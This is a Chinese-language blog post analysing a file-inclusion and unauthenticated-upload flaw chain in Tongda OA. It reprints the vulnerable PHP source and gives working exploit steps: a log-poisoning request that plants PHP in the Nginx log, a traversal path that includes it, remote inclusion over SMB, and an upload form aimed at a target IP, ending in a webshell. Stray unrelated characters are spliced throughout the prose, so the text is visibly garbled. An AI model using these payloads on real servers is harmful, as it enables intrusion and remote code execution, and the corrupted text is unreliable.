通達(dá)OA 最新RCE漏洞的簡(jiǎn)單分析
本文首發(fā)于I春秋
前言
最近工作比較忙,本來(lái)上周看到這個(gè)漏洞的時(shí)候就想學(xué)習(xí)一下,結(jié)果因?yàn)楦鞣N事霞揉,一直拖著,正好趁今天有點(diǎn)時(shí)間晰骑,來(lái)簡(jiǎn)單學(xué)習(xí)一下适秩。樓主也是最近才學(xué)習(xí)PHP,所以肯定有很多不足之處硕舆。這篇文章既是分享秽荞,也是在督促自己學(xué)習(xí)。
漏洞點(diǎn)1抚官,文件包含:
漏洞地址:/ispirit/interface/gateway.php
<?php
ob_start();
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility_org.php";
//$P不為空的時(shí)候才進(jìn)行登錄狀態(tài)的判斷扬跋。如果不傳遞$P則可直接繞過(guò)這部分的判斷。
if ($P != "") {
if (preg_match("/[^a-z0-9;]+/i", $P)) {
echo _("非法參數(shù)");
exit();
}
session_id($P);
session_start();
session_write_close();
if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
echo _("RELOGIN");
exit();
}
}
if ($json) {
$json = stripcslashes($json);//stripcslashes 刪除數(shù)據(jù)中的反斜杠
$json = (array) json_decode($json); //將傳遞的字符串轉(zhuǎn)換為數(shù)組
/*
例子:
$a = array('Tom','Mary','Peter','Jack');
foreach ($a as $value) {
echo $value."<br/>";
}
輸出結(jié)果為:
Tom
Mary
Peter
Jack
而使用
foreach ($a as $key => $value) {
echo $key.','.$value."<br/>";
}
輸出結(jié)果為:
0,Tom
1,Mary
2,Peter
3,Jack
*/
foreach ($json as $key => $val ) { //遍歷給定的 數(shù)組語(yǔ)句$json數(shù)組凌节。每次循環(huán)中钦听,同時(shí)當(dāng)前單元的鍵名也會(huì)在每次循環(huán)中被賦給變量 $key
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") { //當(dāng)傳遞過(guò)來(lái)的數(shù)組中,包含url這個(gè)關(guān)鍵值則將其賦值給url
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
//這里截取url中的0,1字段倍奢,如果為/,則再次進(jìn)行截?cái)啾爰瑥牡诙婚_始截取之后的值
//如$url = "/http://",這時(shí)滿足if,最后url輸出的值為http://
}
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
/*
strpos函數(shù)的作業(yè)是判斷字符串中娱挨,是否含有某些字符串余指,而 !== false 這種判斷是不嚴(yán)謹(jǐn)?shù)模驗(yàn)橹灰赨RL中包含這些字符串就能繞過(guò)它的限制。
這里可以看到酵镜,如果我們傳遞的URL中包含這些字符串碉碉,那么就能進(jìn)入到include_once 這一步。(include 文件包含漏洞)
*/
}
}
exit();
}
?>
總結(jié)
只有包含$P 才會(huì)進(jìn)入到身份驗(yàn)證淮韭。并且傳遞的json數(shù)據(jù)中垢粮,需要有url這個(gè)關(guān)鍵值。最后value中需要包含general/,ispirit/,module/靠粪,才能進(jìn)入到利用點(diǎn)蜡吧。
到這里利用思路應(yīng)該清晰了:
a. 包含日志
b. 遠(yuǎn)程文件包含,通過(guò)SMB或者webdav進(jìn)行bypass
c. 包含上傳文件
利用
1.包含日志占键,從通達(dá)OA的安裝來(lái)看昔善,其使用了Nginx,且開啟了日志畔乙,那么我們?cè)L問(wèn)的記錄都會(huì)被記錄到Nginx 的log日志中君仆。(實(shí)測(cè)成功率不太高,可能是我姿勢(shì)不夠騷牲距,不過(guò)是一種很好的思路)
訪問(wèn)
/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>
然后通過(guò)如下url進(jìn)行文件包含利用
/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log
2.遠(yuǎn)程文件包含返咱,首先我們知道要滿足遠(yuǎn)程文件包含,需要雙ON的情況下才可以牍鞠。那么咖摹,通達(dá)OA很明顯是不滿足的。之前看了篇文章难述,利用SMB匿名共享來(lái)繞過(guò)這個(gè)限制萤晴。
2.1 開啟smb共享,參考(https://xz.aliyun.com/t/5139)
2.2 遠(yuǎn)程包含龄广,成功執(zhí)行
2.3 webdav的同理硫眯,這里不做演示了蕴侧。
漏洞點(diǎn)2择同,前臺(tái)文件上傳:
漏洞地址:ispirit/im/upload.php
<?php
set_time_limit(0);
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
ob_start();
include_once "inc/session.php";
session_id($P);
session_start();
session_write_close();
}
else {
include_once "./auth.php";
}
include_once "inc/utility_file.php";
include_once "inc/utility_msg.php";
include_once "mobile/inc/funcs.php";
ob_end_clean();
$TYPE = $_POST["TYPE"];
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID無(wú)效"));
echo json_encode(data2utf8($dataBack));
exit();
}
if (strpos($DEST_UID, ",") !== false) {
}
else {
$DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID無(wú)效"));
echo json_encode(data2utf8($dataBack));
exit();
}
}
$MODULE = "im";
if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == "1") {
if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
}
}
$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);
if (!is_array($ATTACHMENTS)) {
$dataBack = array("status" => 0, "content" => "-ERR " . $ATTACHMENTS);
echo json_encode(data2utf8($dataBack));
exit();
}
ob_end_clean();
$ATTACHMENT_ID = substr($ATTACHMENTS["ID"], 0, -1);
$ATTACHMENT_NAME = substr($ATTACHMENTS["NAME"], 0, -1);
if ($TYPE == "mobile") {
$ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), "utf-8", MYOA_CHARSET);
}
}
else {
$dataBack = array("status" => 0, "content" => "-ERR " . _("無(wú)文件上傳"));
echo json_encode(data2utf8($dataBack));
exit();
}
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
if (!$FILE_SIZE) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("文件上傳失敗"));
echo json_encode(data2utf8($dataBack));
exit();
}
if ($UPLOAD_MODE == "1") {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}
$P_VER = (is_numeric($P_VER) ? intval($P_VER) : 0);
$MSG_CATE = $_POST["MSG_CATE"];
if ($MSG_CATE == "file") {
$CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
}
else if ($MSG_CATE == "image") {
$CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]";
}
else {
$DURATION = intval($DURATION);
$CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
}
$AID = 0;
$POS = strpos($ATTACHMENT_ID, "@");
if ($POS !== false) {
$AID = intval(substr($ATTACHMENT_ID, 0, $POS));
}
$query = "INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0','$AID')";
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("數(shù)據(jù)庫(kù)操作失敗"));
echo json_encode(data2utf8($dataBack));
exit();
}
$dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID);
echo json_encode(data2utf8($dataBack));
exit();
}
else if ($UPLOAD_MODE == "2") {
$DURATION = intval($_POST["DURATION"]);
$CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
$query = "INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('" . $_SESSION["LOGIN_UID"] . "', '" . $CONTENT . "', '" . time() . "')";
$cursor = exequery(TD::conn(), $query);
echo "+OK " . $CONTENT;
}
else if ($UPLOAD_MODE == "3") {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}
echo "+OK " . $ATTACHMENT_ID;
}
else {
$CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
$msg_id = send_msg($_SESSION["LOGIN_UID"], $DEST_UID, 1, $CONTENT, "", 2);
$query = "insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0')";
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
echo "-ERR " . _("數(shù)據(jù)庫(kù)操作失敗");
exit();
}
if ($FILE_ID == 0) {
echo "-ERR " . _("數(shù)據(jù)庫(kù)操作失敗2");
exit();
}
echo "+OK ," . $FILE_ID . "," . $msg_id;
exit();
}
?>
分析:
auth.php 為登錄狀態(tài)判斷的頁(yè)面
接收POST傳遞的參數(shù)P不為空净宵,就不會(huì)進(jìn)入到登錄狀態(tài)判斷敲才。
所以,我們只要在POST參數(shù)中傳遞$P為任意值就能繞過(guò)限制
這里我們寫個(gè)上傳頁(yè)面來(lái)測(cè)試一下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<h1>hello worlds</h1>
<form action="http://192.168.52.128/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<p><input type="hidden" name="P"></p>
<p><input type="file" name="upload"></p>
<p><input type="submit" value="submit"></p>
</form>
</body>
</html>
然后抓包查看一下择葡,提示接收方ID無(wú)效
這個(gè)時(shí)候紧武,我們?cè)诳聪麓a,代碼中需要POST傳遞兩個(gè)參數(shù) TYPE(type這個(gè)從上下文中看敏储,并不關(guān)鍵) 和 DEST_UID阻星,而且當(dāng)DEST_UID = 0的時(shí)候,UPLOAD_MODE必須為2,否則也會(huì)提示無(wú)效妥箕。
我們接著往下看代碼滥酥,從這里得知,我們上傳文件的時(shí)候畦幢,應(yīng)該講file的name設(shè)置ATTACHMENT坎吻,否則也會(huì)上傳失敗。
那么這個(gè)時(shí)候宇葱,我們抓包修改一下參數(shù)瘦真,就實(shí)現(xiàn)了前臺(tái)文件上傳。
這個(gè)時(shí)候黍瞧,我們?nèi)炙阉饕幌律蟼鞯奈募罹。l(fā)現(xiàn)在attach/im/2003中,這里上圖的返回值中也能看出來(lái)雷逆,2003代表目錄弦讽,866代表文件名
總結(jié)
其實(shí)前臺(tái)上傳并沒(méi)有太多難點(diǎn),而之所以它在這里算做一個(gè)漏洞膀哲,是因?yàn)榕浜狭宋募┒赐ㄟ^(guò)文件包含解析上傳文件中的PHP代碼而形成一個(gè)完整的攻擊鏈
利用
到這里這次兩個(gè)漏洞的利用鏈就完整起來(lái)了。通過(guò)前臺(tái)文件上傳+文件包含實(shí)現(xiàn)getshell某宪。